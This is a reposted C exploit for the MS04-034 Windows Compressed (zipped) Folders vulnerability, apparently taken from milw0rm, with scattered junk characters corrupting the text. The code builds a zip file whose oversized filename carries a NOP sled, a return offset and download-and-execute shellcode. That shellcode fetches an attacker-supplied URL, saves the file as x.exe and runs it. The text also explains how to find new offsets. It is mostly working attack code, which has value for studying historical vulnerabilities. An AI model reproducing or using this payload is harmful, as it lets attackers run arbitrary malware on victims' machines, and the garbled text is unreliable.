(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) * * Tested under Windows XP SP0 Spanish/English 6 h* }) ]; o, o% l. o* * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 * * Tarako - Haxorcitos.com 2004 * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" F, O5 t# w" r" m* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. 4 \( T |' d2 [7 q& L2 N1 b. A* * Greetings t #haxorcitos, #dsr and #localhost @efnet 1 i1 i+ d/ }' x* 5 n0 r% j( |; l* ! w8 H0 r; f; d, r* How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe * 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses ' f' b8 Z8 E! p% g; B* # R/ W$ F& h8 ~4 T: m*/ #include <stdio.h> % i% z: q% }- [2 R#include <windows.h> " O2 ^- T- X# x3 u( D) q#pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" , d. V! o( e. I+ o 0 U5 F4 X8 U4 P& f: mtypedef struct { ; ~& y. I+ a5 i* l% IDWORD Signature; // PK.. 4 bytes (0x04034B50) WORD VersionNeeded; 8 } T& s$ V% w8 c9 s1 aWORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; 8 x4 n/ v3 j5 q3 s0 OWORD ModFileTime; WORD ModFileDate; DWORD Crc32; , s2 G7 _* b& \) r- u0 n7 BDWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; WORD ExtraFieldLength; // filename (variable size) // extra field (variable size) }TOPHEADER; 5 [7 k2 V5 r7 V& H+ D0 j2 _- stypedef struct { * \8 o% n% J1 yDWORD Signature; // PK.. 4 bytes (0x02014B50) ! r) L# x }: X0 C9 U0 P4 k7 PWORD MadeVersion; ( Q5 o3 s& P: S: b) E$ DWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; 4 t, ?" r( I! v. U5 Q* ?) N# LWORD ModFileDate; DWORD Crc32; DWORD CompressedSize; . j. j3 v! ?4 C' f0 `# m" }; Q- g7 CDWORD UncompressedSize; WORD FilenameLength; $ \ w( V6 R9 a- c1 \WORD ExtraFieldLength; $ x) E: W$ h0 k/ o! ~ |# t3 LWORD FileCommentLength; WORD DiskNumberStart; : Z( N; f2 ?: r, A. D3 x: ~/ v1 lWORD InternalFileAttributes; 6 l- ]7 e; y; N) |4 ^6 ^DWORD ExternalFileAttributes; DWORD RelativeOffsetOfLocalHeader; % F. Q* D3 S7 @! }// filename (variable size) $ ?3 N5 H" @. n8 a! l// extra field (variable size) // file comment (variable size) }MIDDLEHEADER; typedef struct { z* x, z m6 O# @! ]5 {DWORD Signature; // PK.. 4 bytes (0x06054B50) 1 C+ Y8 v. o- `6 w; p6 u6 [9 c. ^WORD NumOfThisDisk; WORD NumDisckStartCentralDirectory; WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; ' ]- _# E$ ^6 E7 N" C( QDWORD SizeCentralDirectory; DWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; // zipfile comment (variable size) 1 E% V) b7 T5 Y, M1 l}BOTTOMHEADER; /* 3 B4 [$ ]" c9 @' Z7 J8 ]* download shellcode - RaiSe - raise@netsearch-ezine.com & {7 h' P5 `0 o, }8 N$ @( K& o# N q' W*/ char shellcode1[] = $ R/ z3 U# J: g: Y; ]"\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" 9 I% z! Q; P! j3 V"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" 8 X9 ?0 ]- c; \2 N, ^3 n; R"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" d% v- E+ W/ S- ~ z! D$ f* O"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" & R0 V9 ]0 a ?" ?7 @( ~"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" ) I& x4 V" ~% Y7 b& L' x"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" $ Q" a1 l2 ]. w8 b# `"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" L& G6 @0 W8 h! D& I2 w! P8 f8 S% t"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" : L; ~. x0 @/ W3 K+ O"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" # R& f$ [7 d( X; ?4 |9 _: B"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 3 \9 w; Y' C% C! ~"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" 3 i* o; n- P8 w: X% |: @) V( n% x0 u# \& ~"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" , G% l0 ^2 T3 a2 f* A"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" 9 H. r* w5 G) n"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" : B, w- k6 V4 l+ P) i"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" 0 L3 B- T2 s: O- {6 C: |8 q# Y' N"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" z: _# v4 {- u4 M2 v"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" ) [, V6 s4 [0 f- P G; {9 g"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; 3 s4 O6 B7 O7 ~, t, d! ychar shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; char jmpbelow[]= "\xeb\x06\x90\x90"; $ z* U1 w0 j' n3 Z! Q; r$ W/ o int main(int argc,char *argv[]) { FILE *ZipFile; 8 ?: V9 p% F9 @' Y7 T# x+ Z8 ITOPHEADER *Cabecera1; MIDDLEHEADER *Cabecera2; , Q: t) i. I! z0 ]$ hBOTTOMHEADER *Cabecera3; DWORD c; UINT i; char *filename; char *url; ' B! f6 ]7 {( B8 L9 n6 ~* d2 o. nprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); 6 g7 s9 r; J' r" o% ~& F1 j2 r: g# ?printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { , }8 H8 d3 _' n5 f' @5 z8 |printf("\n\n Usage: %s <URL> \n",argv[0]); exit(1); 7 o x4 j/ j! I; S2 j} url=argv[1]; ! I) X7 g- t3 t* F# d) T; u" xprintf("\n * URL: %s",url); + r: c$ N+ A5 {7 a 1 C5 O' s1 b4 V% ]0 e, ~if (!(ZipFile=fopen("prueba.zip","w+b"))) { ) Z' Z" b z9 C! ~( qprintf("\n [E] fopen()"); # U6 Y. w' x4 v" ?! v4 sexit(1); } c=0x8000; // filename length filename=(char*)malloc(sizeof(char)*c); 7 c3 E9 B7 R' [" i* T4 ^% Amemset(filename,0,sizeof(filename)); 6 w. {5 O7 L: P6 mfor( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); ! M8 [- C* d+ a* omemcpy(filename+0x1818,offset,strlen(offset)); memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); 0 G5 |2 S& c- [. J @- cmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); : g0 C2 p7 \! q7 Y6 w- [ memcpy(filename+(c-4),".txt",4); 4 e3 N% G9 A6 A. P( Z ; c+ A2 ^$ z* X3 @8 k5 k) VCabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); 1 u O% C m; e$ T8 e0 N O Cmemset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); ( y" j: f y9 F 3 ^8 ]) L3 b; w5 g5 P/////////////////////////////////////////////////////////////////// // TOPHEADER /////////////////////////////////////////////////////////////////// Cabecera1->Signature=0x04034B50; // DWORD Cabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas # T. A6 p3 A/ h: [* OCabecera1->CompressionMethod=0x0000; // WORD 2 h% p7 M- Y* r$ r- zCabecera1->ModFileTime=0x1362; // WORD 0 W# ~' a1 a1 B( C5 @Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD Cabecera1->CompressedSize=0x00000015; // DWORD Cabecera1->UncompressedSize=0x00000015; // DWORD Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera1->ExtraFieldLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// 2 A. ^& ~2 D1 d+ P* r; a6 Y// MIDDLEHEADER # b* N) G6 J3 I8 D" [" j+ U! u7 Z/////////////////////////////////////////////////////////////////// Cabecera2->Signature=0x02014B50; // DWORD " Y$ Q9 z8 O1 O9 n2 p# o( GCabecera2->MadeVersion=0x0014; // WORD ) [' { |' p. E6 g/ I6 bCabecera2->VersionNeeded=0x000A; // WORD % H1 f7 Z$ Y/ g/ H! A+ aCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD ) j' P. J! J9 Z; kCabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD 5 |) t5 j. T+ U/ \Cabecera2->Crc32=0x85B36639; // DWORD 8 G6 @+ l+ w" z- hCabecera2->CompressedSize=0x00000015; // DWORD 9 ~6 w* f) I& H* b. L# k6 M: vCabecera2->UncompressedSize=0x00000015; // DWORD / l+ Z+ K1 A" u/ ICabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD * o7 ?- X2 I; P: E, Q sCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD : N0 D# |) b/ ~# B$ u' B1 m ~; S6 CCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD + H) W3 G% {8 }& D5 c Y1 g' r/////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// / M% H& ], E# @, n; p& V# ~/ Z: l' V& j// BOTTOMHEADER / i% J' D: ]; O. X0 O0 \, \0 _/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD $ Z3 Q U8 k7 ^& `. D$ ICabecera3->NumOfThisDisk=0x0000; // WORD 1 Z2 i. j9 _ _7 G& dCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD 7 P( P) N" ]5 N" J$ aCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD ) O! L* `9 O- q! S/ {Cabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// 6 x* G9 i0 T8 H$ c 6 O$ k @: _+ z3 s5 e4 pfwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); ; z0 W c0 ~2 ^& Q( ^% n ! U+ |" g9 N" `. ?. \" Z/ ]5 g/ ufwrite(filename, c, 1,ZipFile); fwrite(DATOS,strlen(DATOS),1,ZipFile); $ f5 |7 y- c Q( x B7 z+ U 9 ]) k' F# r. z" R% D% n! ?# Efwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); - @' |7 A$ k& k9 M9 Bfwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); fclose(ZipFile); ! d4 A" Q& F1 n" @" p2 X0 n+ Qprintf("\n * prueba.zip created\n"); return 1; }//downloaded from milw0rm.com 2 Q0 K/ X9 o. ^( q7 O